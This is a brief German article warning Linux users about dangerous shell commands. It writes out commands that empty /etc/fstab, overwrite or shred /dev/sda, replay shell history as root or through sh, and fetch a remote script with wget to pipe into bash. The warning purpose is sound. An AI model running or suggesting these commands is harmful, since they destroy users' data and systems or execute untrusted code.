Befehle aus der Hölle

  • Zusätzlich zum Artikel über die Fork-Bombe gibt es noch einige andere Konsolen-Befehle, vor denen man sich hüten sollte. Ein kurzer Abriß:


    > /etc/fstab : Das > ist eine Shell Redirection für cat /dev/null > file. Damit wird die Datei mit Nichts (dem Inhalt von /dev/null) überschrieben und ist danach leer. In dem Falle hier die fstab.


    command > /dev/sda : Terminalbefehle erzeugen in der Regel ein Ergebnis, welches auf stdout ausgegeben wird (das Terminal). Man kann die Ausgabe aber auch in eine andere Richtung lenken; wie wäre es mit eurer Hauptpartition? Das Umlenken geschieht mit dem > Operator. Als command kann man gern shred einsetzen, was im vorliegenden Fall eure Festplatte shreddert.


    sudo !1 : Die History der Shell ist für Schreibfaule sehr bequem. Aber sie kann auch gefährlich werden. Dieser Befehl führt den ersten Eintrag aus der History mit Root-Rechten aus. Da sich niemand daran erinnert, welches der erste History-Eintrag war, ist der Befehl russisches Roulette. Aber es geht noch besser ...


    history | sh : Damit schickt ihr den gesamten Inhalt der Befehls-Historie an die Shell, um diese Befehle auszuführen. Das führt garantiert zur Katastrophe.


    wget https://outpost.com/horror.sh | bash : Dieser Befehl lädt ein unbekanntes Script mit wget herunter und pipt es an die Shell, um es direkt auszuführen. Russisches Roulette ist Kinderfasching dagegen!


    Es gibt noch etliche mehr dieser Befehle. Diese Abhandlung erhebt keinen Anspruch auf Vollständigkeit.